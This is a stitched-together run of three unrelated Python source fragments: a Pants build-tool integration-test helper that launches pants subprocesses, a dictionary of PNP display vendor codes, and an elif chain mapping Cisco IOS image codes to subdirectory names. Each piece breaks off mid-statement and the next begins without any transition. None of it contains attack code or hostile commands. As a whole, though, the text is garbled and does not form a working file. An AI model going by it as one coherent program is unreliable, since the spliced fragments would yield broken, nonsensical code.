temporary_dir(root_dir=get_buildroot()) @contextmanager def source_clone(self, source_dir): with self.temporary_sourcedir() as clone_dir: target_spec_dir = os.path.relpath(clone_dir) for dir_path, dir_names, file_names in os.walk(source_dir): clone_dir_path = os.path.join(clone_dir, os.path.relpath(dir_path, source_dir)) for dir_name in dir_names: os.mkdir(os.path.join(clone_dir_path, dir_name)) for file_name in file_names: with open(os.path.join(dir_path, file_name), 'r') as f: content = f.read() if BuildFile._is_buildfile_name(file_name): content = content.replace(source_dir, target_spec_dir) with open(os.path.join(clone_dir_path, file_name), 'w') as f: f.write(content) yield clone_dir # Incremented each time we spawn a pants subprocess. # Appended to PANTS_PROFILE in the called pants process, so that each subprocess # writes to its own profile file, instead of all stomping on the parent process's profile. _profile_disambiguator = 0 _profile_disambiguator_lock = Lock() @classmethod def _get_profile_disambiguator(cls): with cls._profile_disambiguator_lock: ret = cls._profile_disambiguator cls._profile_disambiguator += 1 return ret def get_cache_subdir(self, cache_dir, subdir_glob='*/', other_dirs=()): """Check that there is only one entry of `cache_dir` which matches the glob specified by `subdir_glob`, excluding `other_dirs`, and return it. :param str cache_dir: absolute path to some directory. :param str subdir_glob: string specifying a glob for (one level down) subdirectories of `cache_dir`. :param list other_dirs: absolute paths to subdirectories of `cache_dir` which must exist and match `subdir_glob`. :return: Assert that there is a single remaining directory entry matching `subdir_glob` after removing `other_dirs`, and return it. This method oes not check if its arguments or return values are files or directories. If `subdir_glob` has a trailing slash, so will the return value of this method. """ subdirs = set(glob.glob(os.path.join(cache_dir, subdir_glob))) other_dirs = set(other_dirs) self.assertTrue(other_dirs.issubset(subdirs)) remaining_dirs = subdirs - other_dirs self.assertEqual(len(remaining_dirs), 1) return list(remaining_dirs)[0] def run_pants_with_workdir_without_waiting(self, command, workdir, config=None, extra_env=None, build_root=None, print_exception_stacktrace=True, **kwargs): args = [ '--no-pantsrc', '--pants-workdir={}'.format(workdir), '--kill-nailguns', '--print-exception-stacktrace={}'.format(print_exception_stacktrace), ] if self.hermetic(): args.extend(['--pants-config-files=[]', # Turn off cache globally. A hermetic integration test shouldn't rely on cache, # or we have no idea if it's actually testing anything. '--no-cache-read', '--no-cache-write', # Turn cache on just for tool bootstrapping, for performance. '--cache-bootstrap-read', '--cache-bootstrap-write' ]) if config: config_data = config.copy() ini = ConfigParser.ConfigParser(defaults=config_data.pop('DEFAULT', None)) for section, section_config in config_data.items(): ini.add_section(section) for key, value in section_config.items(): ini.set(section, key, value) ini_file_name = os.path.join(workdir, 'pants.ini') with safe_open(ini_file_name, mode='w') as fp: ini.write(fp) args.append('--pants-config-files=' + ini_file_name) pants_script = os.path.join(build_root or get_buildroot(), self.PANTS_SCRIPT_NAME) # Permit usage of shell=True and string-based commands to allow e.g. `./pants | head`. if kwargs.get('shell') is True: assert not isinstance(command, list), 'must pass command as a string when using shell=True' pants_command = ' '.join([pants_script, ' '.join(args), command]) else: pants_command = [pants_script] + args + command # Only whitelisted entries will be included in the environment if hermetic=True. if self.hermetic(): env = dict() for h in self.hermetic_env_whitelist(): value = os.getenv(h) if value is not None: env[h] = value hermetic_env = os.getenv('HERMETIC_ENV') if hermetic_env: for h in hermetic_env.strip(',').split(','): env[h] = os.getenv(h) else: env = os.environ.copy() if extra_env: env.update(extra_env) # Don't overwrite the profile of this process in the called process. # Instead, write the profile into a sibling file. if env.get('PANTS_PROFILE'): prof = '{}.{}'.format(env['PANTS_PROFILE'], self._get_profile_disambiguator()) env['PANTS_PROFILE'] = prof # Make a note the subprocess command, so the user can correctly interpret the profile files. with open('{}.cmd'.format(prof), 'w') as fp: fp.write(b' '.join(pants_command)) return pants_command, subprocess.Popen(pants_command, env=env, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, **kwargs) def run_pants_with_workdir(self, command, workdir, config=None, stdin_data=None, tee_output=False, **kwargs): if config: kwargs["config"] = config pants_command, proc = self.run_pants_with_workdir_without_waiting(command, workdir, **kwargs) communicate_fn = proc.communicate if tee_output: communicate_fn = SubprocessProcessHandler(proc).communicate_teeing_stdout_and_stderr (stdout_data, stderr_data) = communicate_fn(stdin_data) return PantsResult(pants_command, proc.returncode, stdout_data.decode("utf-8"), stderr_data.decode("utf-8"), workdir) def run_pants(self, command, config=None, stdin_data=None, extra_env=None, **kwargs): """Runs pants in a subprocess. :param list command: A list of command line arguments coming after `./pants`. :param config: Optional data for a generated ini file. A map of <section-name> -> map of key -> value. If order in the ini file matters, this should be an OrderedDict. :param kwargs: Extra keyword args to pass to `subprocess.Popen`. :returns a PantsResult instance. """ with self.temporary_workdir() as workdir: return self.run_pants_with_workdir( command, workdir, config, stdin_data=stdin_data, extra_env=extra_env, **kwargs ) @contextmanager def pants_results(self, command, config=None, stdin_data=None, extra_env=None, **kwargs): """Similar to run_pants in that it runs pants in a subprocess, but yields in order to give callers a chance to do any necessary validations on the workdir. :param list command: A list of command line arguments coming after `./pants`. :param config: Optional data for a generated ini file. A map of <section-name> -> map of key -> value. If order in the ini file matters, this should be an OrderedDict. :param kwargs: Extra keyword args to pass to `subprocess.Popen`. :returns a PantsResult instance. """ with self.temporary_workdir() as workdir: yield self.run_pants_with_workdir( command, workdir, config, stdin_data=stdin_data, extra_env=extra_env, **kwargs ) def bundle_and_run(self, target, bundle_name, bundle_jar_name=None, bundle_options=None, args=None, expected_bundle_jar_content=None, expected_bundle_content=None, library_jars_are_symlinks=True): """Creates the bundle with pants, then does java -jar {bundle_name}.jar to execute the bundle. :param target: target name to compile :param bundle_name: resulting bundle filename (minus .zip extension) :param bundle_jar_name: monolithic jar filename (minus .jar extension), if None will be the same as bundle_name :param bundle_options: additional options for bundle :param
"SGZ", datetime.date(1997, 10, 2)), "SCI": pnp.Vendor("System Craft", "SCI", datetime.date(1996, 11, 29)), "SEB": pnp.Vendor("system elektronik GmbH", "SEB", datetime.date(2000, 4, 19)), "SLA": pnp.Vendor("Systeme Lauer GmbH&Co KG", "SLA", datetime.date(1999, 3, 20)), "UPS": pnp.Vendor("Systems Enhancement", "UPS", datetime.date(1996, 11, 29)), "SST": pnp.Vendor("SystemSoft Corporation", "SST", datetime.date(1996, 11, 29)), "SCR": pnp.Vendor("Systran Corporation", "SCR", datetime.date(1996, 11, 29)), "SYV": pnp.Vendor("SYVAX Inc", "SYV", datetime.date(1996, 11, 29)), "TUA": pnp.Vendor("T+A elektroakustik GmbH", "TUA", datetime.date(2011, 1, 5)), "TCD": pnp.Vendor("Taicom Data Systems Co., Ltd.", "TCD", datetime.date(2001, 10, 8)), "TMR": pnp.Vendor("Taicom International Inc", "TMR", datetime.date(1996, 11, 29)), "TKC": pnp.Vendor("Taiko Electric Works.LTD", "TKC", datetime.date(2001, 3, 15)), "TVM": pnp.Vendor("Taiwan Video & Monitor Corporation", "TVM", datetime.date(1996, 11, 29)), "KTD": pnp.Vendor("Takahata Electronics Co.,Ltd.", "KTD", datetime.date(2009, 7, 22)), "TAM": pnp.Vendor("Tamura Seisakusyo Ltd", "TAM", datetime.date(1997, 7, 17)), "TAA": pnp.Vendor("Tandberg", "TAA", datetime.date(2003, 10, 21)), "TDD": pnp.Vendor("Tandberg Data Display AS", "TDD", datetime.date(1996, 11, 29)), "TDM": pnp.Vendor("Tandem Computer Europe Inc", "TDM", datetime.date(1996, 11, 29)), "TCC": pnp.Vendor("Tandon Corporation", "TCC", datetime.date(1996, 11, 29)), "TDY": pnp.Vendor("Tandy Electronics", "TDY", datetime.date(1996, 11, 29)), "TAS": pnp.Vendor("Taskit Rechnertechnik GmbH", "TAS", datetime.date(1997, 12, 15)), "TCS": pnp.Vendor("Tatung Company of America Inc", "TCS", datetime.date(1996, 11, 29)), "VIB": pnp.Vendor("Tatung UK Ltd", "VIB", datetime.date(1999, 7, 16)), "NRV": pnp.Vendor("Taugagreining hf", "NRV", datetime.date(1996, 11, 29)), "TAX": pnp.Vendor("Taxan (Europe) Ltd", "TAX", datetime.date(1997, 3, 13)), "PMD": pnp.Vendor("TDK USA Corporation", "PMD", datetime.date(1996, 11, 29)), "TDT": pnp.Vendor("TDT", "TDT", datetime.date(1996, 11, 29)), "TDV": pnp.Vendor("TDVision Systems, Inc.", "TDV", datetime.date(2008, 1, 18)), "TEA": pnp.Vendor("TEAC System Corporation", "TEA", datetime.date(1996, 11, 29)), "CET": pnp.Vendor("TEC CORPORATION", "CET", datetime.date(1998, 7, 16)), "TCJ": pnp.Vendor("TEAC America Inc", "TCJ", datetime.date(1996, 11, 29)), "TEZ": pnp.Vendor("Tech Source Inc.", "TEZ", datetime.date(2013, 8, 14)), "TMC": pnp.Vendor("Techmedia Computer Systems Corporation", "TMC", datetime.date(1998, 2, 10)), "TCL": pnp.Vendor("Technical Concepts Ltd", "TCL", datetime.date(1996, 11, 29)), "TIL": pnp.Vendor("Technical Illusions Inc.", "TIL", datetime.date(2014, 2, 14)), "TSD": pnp.Vendor("TechniSat Digital GmbH", "TSD", datetime.date(2005, 7, 14)), "NXS": pnp.Vendor("Technology Nexus Secure Open Systems AB", "NXS", datetime.date(1998, 5, 8)), "TPE": pnp.Vendor("Technology Power Enterprises Inc", "TPE", datetime.date(1996, 11, 29)), "TTS": pnp.Vendor("TechnoTrend Systemtechnik GmbH", "TTS", datetime.date(1996, 11, 29)), "TEC": pnp.Vendor("Tecmar Inc", "TEC", datetime.date(1996, 11, 29)), "TCN": pnp.Vendor("Tecnetics (PTY) Ltd", "TCN", datetime.date(1996, 11, 29)), "TNM": pnp.Vendor("TECNIMAGEN SA", "TNM", datetime.date(2005, 5, 2)), "TVD": pnp.Vendor("Tecnovision", "TVD", datetime.date(2006, 3, 13)), "RXT": pnp.Vendor("Tectona SoftSolutions (P) Ltd.,", "RXT", datetime.date(2004, 6, 2)), "TKN": pnp.Vendor("Teknor Microsystem Inc", "TKN", datetime.date(1996, 11, 29)), "TRM": pnp.Vendor("Tekram Technology Company Ltd", "TRM", datetime.date(1996, 11, 29)), "TEK": pnp.Vendor("Tektronix Inc", "TEK", datetime.date(1999, 5, 16)), "TWX": pnp.Vendor("TEKWorx Limited", "TWX", datetime.date(2009, 12, 24)), "TCT": pnp.Vendor("Telecom Technology Centre Co. Ltd.", "TCT", datetime.date(1999, 7, 16)), "TTC": pnp.Vendor("Telecommunications Techniques Corporation", "TTC", datetime.date(1996, 11, 29)), "TLF": pnp.Vendor("Teleforce.,co,ltd", "TLF", datetime.date(2012, 11, 19)), "TAT": pnp.Vendor("Teleliaison Inc", "TAT", datetime.date(1997, 4, 29)), "TLK": pnp.Vendor("Telelink AG", "TLK", datetime.date(1998, 9, 1)), "TPS": pnp.Vendor("Teleprocessing Systeme GmbH", "TPS", datetime.date(1997, 1, 24)), "TAG": pnp.Vendor("Teles AG", "TAG", datetime.date(1996, 11, 29)), "TLS": pnp.Vendor("Teleste Educational OY", "TLS", datetime.date(1996, 11, 29)), "TSI": pnp.Vendor("TeleVideo Systems", "TSI", datetime.date(1996, 11, 29)), "PFT": pnp.Vendor("Telia ProSoft AB", "PFT", datetime.date(1999, 9, 13)), "TLD": pnp.Vendor("Telindus", "TLD", datetime.date(1996, 11, 29)), "TLX": pnp.Vendor("Telxon Corporation", "TLX", datetime.date(1996, 11, 29)), "TNY": pnp.Vendor("Tennyson Tech Pty Ltd", "TNY", datetime.date(1996, 11, 29)), "TDC": pnp.Vendor("Teradici", "TDC", datetime.date(2007, 10, 11)), "TER": pnp.Vendor("TerraTec Electronic GmbH", "TER", datetime.date(1997, 3, 21)), "TXN": pnp.Vendor("Texas Insturments", "TXN", datetime.date(1996, 11, 29)), "TMI": pnp.Vendor("Texas Microsystem", "TMI", datetime.date(1996, 11, 29)), "TXT": pnp.Vendor("Textron Defense System", "TXT", datetime.date(1996, 11, 29)), "CKC": pnp.Vendor("The Concept Keyboard Company Ltd", "CKC", datetime.date(1997, 6, 2)), "LNX": pnp.Vendor("The Linux Foundation", "LNX", datetime.date(2014, 4, 4)), "PXL": pnp.Vendor("The Moving Pixel Company", "PXL", datetime.date(2003, 11, 24)), "ITN": pnp.Vendor("The NTI Group", "ITN", datetime.date(1996, 11, 29)), "TOG": pnp.Vendor("The OPEN Group", "TOG", datetime.date(1999, 9, 13)), "PAN": pnp.Vendor("The Panda Project", "PAN", datetime.date(1996, 11, 29)), "PRG": pnp.Vendor("The Phoenix Research Group Inc", "PRG", datetime.date(1997, 9, 19)), "TSG": pnp.Vendor("The Software Group Ltd", "TSG", datetime.date(1996, 11, 29)), "TMX": pnp.Vendor("Thermotrex Corporation", "TMX", datetime.date(1996, 11, 29)), "TLL": pnp.Vendor("Thinklogical", "TLL", datetime.date(2015, 6, 1)), "TCO": pnp.Vendor("Thomas-Conrad Corporation", "TCO", datetime.date(1996, 11, 29)), "TCR": pnp.Vendor("Thomson Consumer Electronics", "TCR", datetime.date(1998, 8, 20)), "TPT": pnp.Vendor("Thruput Ltd", "TPT", datetime.date(2010, 6, 16)), "THN": pnp.Vendor("Thundercom Holdings Sdn. Bhd.", "THN", datetime.date(1997, 3, 21)), "TWA": pnp.Vendor("Tidewater Association", "TWA", datetime.date(1996, 11, 29)), "TMM": pnp.Vendor("Time Management, Inc.", "TMM", datetime.date(1999, 3, 20)), "TKS": pnp.Vendor("TimeKeeping Systems, Inc.", "TKS", datetime.date(1998, 8, 31)), "TPD": pnp.Vendor("Times (Shanghai) Computer Co., Ltd.", "TPD", datetime.date(2013, 12, 12)), "TIP": pnp.Vendor("TIPTEL AG", "TIP", datetime.date(1998, 2, 24)), "TIX": pnp.Vendor("Tixi.Com GmbH", "TIX", datetime.date(1998, 10, 16)), "TMT": pnp.Vendor("T-Metrics Inc.", "TMT", datetime.date(2000, 2, 21)), "TNC": pnp.Vendor("TNC Industrial Company Ltd", "TNC", datetime.date(1998, 2, 27)), "TAB": pnp.Vendor("Todos Data System AB", "TAB", datetime.date(1997, 8, 20)), "TOE": pnp.Vendor("TOEI Electronics Co., Ltd.", "TOE", datetime.date(2001, 10, 2)), "TON": pnp.Vendor("TONNA", "TON", datetime.date(2012, 3, 14)), "TPV": pnp.Vendor("Top Victory Electronics ( Fujian ) Company Ltd", "TPV", datetime.date(1999, 5, 16)), "TPK": pnp.Vendor("TOPRE CORPORATION", "TPK", datetime.date(2009, 2, 13)), "TPR": pnp.Vendor("Topro Technology Inc", "TPR", datetime.date(1998, 5, 8)), "TTA": pnp.Vendor("Topson Technology Co., Ltd.", "TTA", datetime.date(1998, 9, 23)), "SFM": pnp.Vendor("TORNADO Company", "SFM", datetime.date(1997, 4, 15)), "TGS": pnp.Vendor("Torus Systems Ltd", "TGS", datetime.date(1996, 11, 29)), "TRS": pnp.Vendor("Torus Systems Ltd", "TRS", datetime.date(1996, 11, 29)), "TAI": pnp.Vendor("Toshiba America Info Systems Inc", "TAI", datetime.date(1996, 11, 29)), "TSB": pnp.Vendor("Toshiba America Info Systems Inc", "TSB", datetime.date(1996, 11, 29)), "TOS": pnp.Vendor("Toshiba Corporation", "TOS", datetime.date(1996, 11, 29)), "TTP": pnp.Vendor("Toshiba Corporation", "TTP", datetime.date(2015, 7, 7)), "TGC": pnp.Vendor("Toshiba Global Commerce Solutions, Inc.", "TGC", datetime.date(2012, 6, 26)), "LCD": pnp.Vendor("Toshiba Matsushita Display Technology Co., Ltd", "LCD", datetime.date(2000, 5, 24)), "PCS": pnp.Vendor("TOSHIBA PERSONAL COMPUTER SYSTEM CORPRATION", "PCS", datetime.date(2010, 6, 22)), "TLI": pnp.Vendor("TOSHIBA TELI CORPORATION", "TLI", datetime.date(2008, 1, 18)), "TTK": pnp.Vendor("Totoku Electric Company Ltd", "TTK", datetime.date(1996, 11, 29)), "TSE": pnp.Vendor("Tottori Sanyo Electric", "TSE", datetime.date(1996, 11, 29)), "TSL": pnp.Vendor("Tottori SANYO Electric Co., Ltd.", "TSL", datetime.date(2001, 11, 6)), "TPC": pnp.Vendor("Touch Panel Systems Corporation", "TPC", datetime.date(1997, 9, 2)), "TKO": pnp.Vendor("TouchKo, Inc.", "TKO", datetime.date(2006, 1, 12)), "TOU": pnp.Vendor("Touchstone Technology", "TOU", datetime.date(2001, 5, 7)), "TSY": pnp.Vendor("TouchSystems", "TSY", datetime.date(2008, 1, 18)), "TWK": pnp.Vendor("TOWITOKO electronics GmbH", "TWK", datetime.date(1998, 4, 14)), "CSB": pnp.Vendor("Transtex SA", "CSB", datetime.date(2001, 3, 15)), "TST": pnp.Vendor("Transtream Inc", "TST", datetime.date(1997, 4, 29)), "TSV": pnp.Vendor("TRANSVIDEO", "TSV", datetime.date(2010, 5, 4)), "TRE": pnp.Vendor("Tremetrics", "TRE", datetime.date(1997, 4, 24)), "RDM": pnp.Vendor("Tremon Enterprises Company Ltd", "RDM", datetime.date(1996, 11, 29)), "TTI": pnp.Vendor("Trenton Terminals Inc", "TTI", datetime.date(1996, 11, 29)), "TRX": pnp.Vendor("Trex Enterprises", "TRX", datetime.date(2000, 2, 21)), "OZO": pnp.Vendor("Tribe Computer Works Inc", "OZO", datetime.date(1996, 11, 29)), "TRI": pnp.Vendor("Tricord Systems", "TRI", datetime.date(1996, 11, 29)), "TDS": pnp.Vendor("Tri-Data Systems Inc", "TDS", datetime.date(1996, 11, 29)), "TTY": pnp.Vendor("TRIDELITY Display Solutions GmbH", "TTY", datetime.date(2010, 7, 19)), "TRD": pnp.Vendor("Trident Microsystem Inc", "TRD", datetime.date(1996, 11, 29)), "TMS": pnp.Vendor("Trident Microsystems Ltd", "TMS", datetime.date(2002, 7, 15)), "TGI": pnp.Vendor("TriGem Computer Inc", "TGI", datetime.date(1996, 11, 29)), "TGM": pnp.Vendor("TriGem Computer,Inc.", "TGM", datetime.date(2001, 7, 5)), "TIC": pnp.Vendor("Trigem KinfoComm", "TIC", datetime.date(2003, 2, 26)), "TRC": pnp.Vendor("Trioc AB", "TRC", datetime.date(2000, 1, 13)), "TBB": pnp.Vendor("Triple S Engineering Inc", "TBB", datetime.date(1997, 9, 26)), "TRT": pnp.Vendor("Tritec Electronic AG", "TRT", datetime.date(2012, 1, 11)), "TRA": pnp.Vendor("TriTech Microelectronics International", "TRA", datetime.date(1997, 1, 24)), "TRB": pnp.Vendor("Triumph Board a.s.", "TRB", datetime.date(2013, 9, 27)), "TRV": pnp.Vendor("Trivisio Prototyping GmbH", "TRV", datetime.date(2011, 11, 18)), "TXL": pnp.Vendor("Trixel Ltd", "TXL", datetime.date(2000, 8, 10)), "MKV": pnp.Vendor("Trtheim Technology", "MKV", datetime.date(1997, 3, 17)), "TVI": pnp.Vendor("Truevision", "TVI", datetime.date(1996, 11, 29)), "TTE": pnp.Vendor("TTE, Inc.", "TTE", datetime.date(2005, 1, 18)), "TCI": pnp.Vendor("Tulip Computers Int'l B.V.", "TCI", datetime.date(1996, 11, 29)), "TBC": pnp.Vendor("Turbo Communication, Inc", "TBC", datetime.date(1998, 9, 1)), "TBS": pnp.Vendor("Turtle Beach System", "TBS", datetime.date(1996, 11, 29)), "TUT": pnp.Vendor("Tut Systems", "TUT", datetime.date(1997, 8, 19)), "TVR": pnp.Vendor("TV Interactive Corporation", "TVR", datetime.date(1996, 11, 29)), "TVO": pnp.Vendor("TV One Ltd", "TVO", datetime.date(2008, 9, 2)), "TVV": pnp.Vendor("TV1 GmbH", "TVV", datetime.date(2012, 2, 6)), "TVS": pnp.Vendor("TVS Electronics Limited", "TVS", datetime.date(2008, 5, 20)), "TWH": pnp.Vendor("Twinhead International Corporation", "TWH", datetime.date(1996, 11, 29)), "TYN": pnp.Vendor("Tyan Computer Corporation", "TYN", datetime.date(1996, 11, 29)), "USE": pnp.Vendor("U. S. Electronics Inc.", "USE", datetime.date(2013, 10, 28)), "NRL": pnp.Vendor("U.S. Naval Research Lab", "NRL", datetime.date(1996, 11, 29)), "TSP": pnp.Vendor("U.S. Navy", "TSP", datetime.date(2002, 10, 17)), "USD": pnp.Vendor("U.S. Digital Corporation", "USD", datetime.date(1996, 11, 29)), "USR": pnp.Vendor("U.S. Robotics Inc", "USR", datetime.date(1996, 11, 29)), "UBL": pnp.Vendor("Ubinetics Ltd.", "UBL", datetime.date(2002, 5, 23)), "UJR": pnp.Vendor("Ueda Japan Radio Co., Ltd.", "UJR", datetime.date(2003, 7, 9)), "UFO": pnp.Vendor("UFO Systems Inc", "UFO", datetime.date(1996, 11, 29)), "UAS": pnp.Vendor("Ultima Associates Pte Ltd", "UAS", datetime.date(1997, 1, 2)), "UEC": pnp.Vendor("Ultima Electronics Corporation", "UEC", datetime.date(1998, 9, 1)), "ULT": pnp.Vendor("Ultra Network Tech", "ULT", datetime.date(1996, 11, 29)), "UMG": pnp.Vendor("Umezawa Giken Co.,Ltd", "UMG",
== "bnsy40": subdirectory = "IP-IPX-AT-PLUS-40" elif imagecode == "bnsy56": subdirectory = "IP-IPX-AT-PLUS-56" elif imagecode == "no3sy": subdirectory = "IP-IPX-FW-IDS-PLUS" elif imagecode == "ino3s3": subdirectory = "IP-IPX-FW-IDS-PLUS-BASIC" elif imagecode == "nosy": subdirectory = "IP-IPX-FW-PLUS" elif imagecode == "k2nosy6": subdirectory = "IP-IPX-FW-PLUS-IPSEC-3DES" elif imagecode == "k9nosy6": subdirectory = "IP-IPX-FW-PLUS-IPSEC-3DES" elif imagecode == "k8nosy6": subdirectory = "IP-IPX-FW-PLUS-IPSEC-56" elif imagecode == "nosy656i": subdirectory = "IP-IPX-FW-PLUS-IPSEC-56" elif imagecode == "nsy": subdirectory = "IP-IPX-PLUS" elif imagecode == "nsy6": subdirectory = "IP-IPX-PLUS" elif imagecode == "no3sv3y": subdirectory = "IP-IPX-VOICE-FW-IDS-PLUS" elif imagecode == "isu2": subdirectory = "IP-LAWFUL-INTERCEPT" elif imagecode == "itpk9": subdirectory = "IP-MAP-GATEWAY-BASE" elif imagecode == "iosxr": subdirectory = "IP-MPLS" elif imagecode == "y2": subdirectory = "IP-OSPF-PIM" elif imagecode == "i4s": subdirectory = "IP-PLUS" elif imagecode == "is": subdirectory = "IP-PLUS" elif imagecode == "sy": subdirectory = "IP-PLUS" elif imagecode == "sy6": subdirectory = "IP-PLUS" elif imagecode == "ik2sx3": subdirectory = "IP-PLUS-3DES" elif imagecode == "ik2o3sx3": subdirectory = "IP-PLUS-3DES-FW" elif imagecode == "is40": subdirectory = "IP-PLUS-40" elif imagecode == "is56": subdirectory = "IP-PLUS-56" elif imagecode == "is5": subdirectory = "IP-PLUS-BASIC-WITHOUT-HD-ANALOG-AIM-ATM-VOICE" elif imagecode == "is4": subdirectory = "IP-PLUS-BASIC-WITHOUT-SWITCHING" elif imagecode == "io3sx3": subdirectory = "IP-PLUS-FW" elif imagecode == "a3inro3sx3": subdirectory = "IP-PLUS-FW-IPX-SNA" elif imagecode == "ik2sv": subdirectory = "IP-PLUS-IPSEC-3DES" elif imagecode == "ik9s": subdirectory = "IP-PLUS-IPSEC-3DES" elif imagecode == "ik9sv": subdirectory = "IP-PLUS-IPSEC-3DES" elif imagecode == "k2sy": subdirectory = "IP-PLUS-IPSEC-3DES" elif imagecode == "i5k9s": subdirectory = "IP-PLUS-IPSEC-3DES-NO-ISDN" elif imagecode == "ik8s": subdirectory = "IP-PLUS-IPSEC-56" elif imagecode == "is56i": subdirectory = "IP-PLUS-IPSEC-56" elif imagecode == "isx356i": subdirectory = "IP-PLUS-IPSEC-56" elif imagecode == "k8sy": subdirectory = "IP-PLUS-IPSEC-56" elif imagecode == "sy56i": subdirectory = "IP-PLUS-IPSEC-56" elif imagecode == "io3sx356i": subdirectory = "IP-PLUS-IPSEC-56-FW" elif imagecode == "i5k8s": subdirectory = "IP-PLUS-IPSEC-56-NO-ISDN" elif imagecode == "bk9no3r2sy": subdirectory = "IP-PLUS-IPX-AT-IBM-FW_IDS-IPSEC-3DES" elif imagecode == "a3inrsx3c": subdirectory = "IP-PLUS-IPX-SNA" elif imagecode == "a3is": subdirectory = "IP-PLUS-SNASW-PLUS" elif imagecode == "ik91s": subdirectory = "IP-PLUS-SSH-3DES" elif imagecode == "a2isv5": subdirectory = "IP-PLUS-VOIP-VOATM" elif imagecode == "a2ik8sv5": subdirectory = "IP-PLUS-VOIP-VOATM-IPSEC-56" elif imagecode == "i5k2": subdirectory = "IP-SERVICES" elif imagecode == "i5k2l2q3": subdirectory = "IP-SERVICES" elif imagecode == "i5k91": subdirectory = "IP-SERVICES" elif imagecode == "i5k91l2q3": subdirectory = "IP-SERVICES" elif imagecode == "i5q312": subdirectory = "IP-SERVICES" elif imagecode == "ipservicesk9": subdirectory = "IP-SERVICES" elif imagecode == "ipservicesk9_wan": subdirectory = "IP-SERVICES" elif imagecode == "ipserviceslmk9_en": subdirectory = "IP-SERVICES-EXPRESS-SETUP-ENGLISH" elif imagecode == "i5": subdirectory = "IP-SERVICES-NO-CRYPTO" elif imagecode == "i5q3l2": subdirectory = "IP-SERVICES-NO-CRYPTO" elif imagecode == "ipservices": subdirectory = "IP-SERVICES-NO-CRYPTO" elif imagecode == "ipservices_wan": subdirectory = "IP-SERVICES-NO-CRYPTO" elif imagecode == "ipserviceslm": subdirectory = "IP-SERVICES-NO-CRYPTO-WITH-EXPRESS-SETUP" elif imagecode == "ipservicesk9_npe": subdirectory = "IP-SERVICES-NPE" elif imagecode == "ipserviceslmk9": subdirectory = "IP-SERVICES-WITH-EXPRESS-SETUP" elif imagecode == "ipservicesk9_li": subdirectory = "IP-SERVICES-WITH-LAWFUL-INTERCEPT" elif imagecode == "pk9sv": subdirectory = "IP-SSH-3DES" elif imagecode == "pk9s": subdirectory = "IP-SSH-3DES-LAN-ONLY" elif imagecode == "i6k9o3s": subdirectory = "IP-SUBSET-IPSEC-56-FW-VOICE" elif imagecode == "i6k9s": subdirectory = "IP-SUBSET-IPSEC-64-BIT-VOICE" elif imagecode == "i6s": subdirectory = "IP-SUBSET-VOICE" elif imagecode == "ipv": subdirectory = "IP-TRANSFER-POINT" elif imagecode == "itp": subdirectory = "IP-TRANSFER-POINT" elif imagecode == "itpk9v": subdirectory = "IP-TRANSFER-POINT" elif imagecode == "itpv": subdirectory = "IP-TRANSFER-POINT" elif imagecode == "ipvoicek9": subdirectory = "IP-VOICE" elif imagecode == "isx3": subdirectory = "IP-VOICE" elif imagecode == "v6y6": subdirectory = "IP-VOICE" elif imagecode == "o3sv3y": subdirectory = "IP-VOICE-FW-IDS-PLUS" elif imagecode == "k8o3sv3y": subdirectory = "IP-VOICE-FW-IDS-PLUS-IPSEC" elif imagecode == "binrsx3": subdirectory = "IP-VOICE-IPV6-IPX-APPLE-TALK" elif imagecode == "a3bik9no3rsx3": subdirectory = "IP-VOICE-IPX-SNA-FW-IDS-WAN-3DES" elif imagecode == "ipvoice": subdirectory = "IP-VOICE-NO-CRYPTO" elif imagecode == "sv3y": subdirectory = "IP-VOICE-PLUS" elif imagecode == "sv6y6": subdirectory = "IP-VOICE-PLUS" elif imagecode == "k8sv3y": subdirectory = "IP-VOICE-PLUS-IPSEC-56" elif imagecode == "sv8y": subdirectory = "IP-VOX-PLUS" elif imagecode == "g": subdirectory = "ISDN" elif imagecode == "isecompliance": subdirectory = "ISE-COMPLIANCE" elif imagecode == "iseposture": subdirectory = "ISE-POSTURE" elif imagecode == "ISRG2PVDMODEM": subdirectory = "ISR-G2-DIGITAL-MODEM" elif imagecode == "kickstart": subdirectory = "KICKSTART" elif imagecode == "kickstart-npe": subdirectory = "KICKSTART-NPE" elif imagecode == "kubernetes": subdirectory = "KUBERNETES" elif imagecode == "kvm": subdirectory = "KVM" elif imagecode == "l2l3cvt": subdirectory = "L2-L3-CONVERSION" elif imagecode == "i9k91s": subdirectory = "L3-VOICE" elif imagecode == "lanbase": subdirectory = "LAN-BASE" elif imagecode == "lanbasek9": subdirectory = "LAN-BASE-SSH" elif imagecode == "lanbasek9_en": subdirectory = "LAN-BASE-SSH-ENGLISH" elif imagecode == "lanbaselmk9": subdirectory = "LAN-BASE-SSH-WITH-EXPRESS-SETUP" elif imagecode == "lanbaselmk9_en": subdirectory = "LAN-BASE-SSH-WITH-EXPRESS-SETUP-ENGLISH" elif imagecode == "fin-l": subdirectory = "LAN-FRAD" elif imagecode == "f2in": subdirectory = "LAN-FRAD-OSPF" elif imagecode == "lanlite": subdirectory = "LAN-LITE" elif imagecode == "lanlitek9": subdirectory = "LAN-LITE-SSH" elif imagecode == "u2p10": subdirectory = "LAWFUL-INTERCEPT" elif imagecode == "k4u2p10": subdirectory = "LAWFUL-INTERCEPT-SECURED-SHELL-3DES" elif imagecode == "k9p11u2": subdirectory = "LAWFUL-INTERCEPT-SECURED-SHELL-3DES" elif imagecode == "k8p11u2": subdirectory = "LAWFUL-INTERCEPT-SECURED-SHELL-DES" elif imagecode == "i6q4l2": subdirectory = "LAYER-2" elif imagecode == "ucslinux": subdirectory = "LINUX" elif imagecode == "logagent": subdirectory = "LOG-AGENT" elif imagecode == "c3h2l9s": subdirectory = "LONG-REACH-ETHERNET" elif imagecode == "i6l2q4": subdirectory = "LONG-REACH-ETHERNET-NO-CRYPTO" elif imagecode == "mcp": subdirectory = "MANAGEMENT-CENTER-FOR-PERFORMANCE" elif imagecode == "metroaccessk9": subdirectory = "METRO-ACCESS" elif imagecode == "metroaccess": subdirectory = "METRO-ACCESS-NO-CRYPTO" elif imagecode == "metrobasek9": subdirectory = "METRO-BASE" elif imagecode == "metrobase": subdirectory = "METRO-BASE-NO-CRYPTO" elif imagecode == "metroipaccessk9": subdirectory = "METRO-IP-ACCESS" elif imagecode == "metroipaccess": subdirectory = "METRO-IP-ACCESS-NO-CRYPTO" elif imagecode == "mibs": subdirectory = "MIBS" elif imagecode == "mini": subdirectory = "MINI" elif imagecode == "mini-x64": subdirectory = "MINI-X64" elif imagecode == "i9su3": subdirectory = "MPEG-2-L2" elif imagecode == "i5su3": 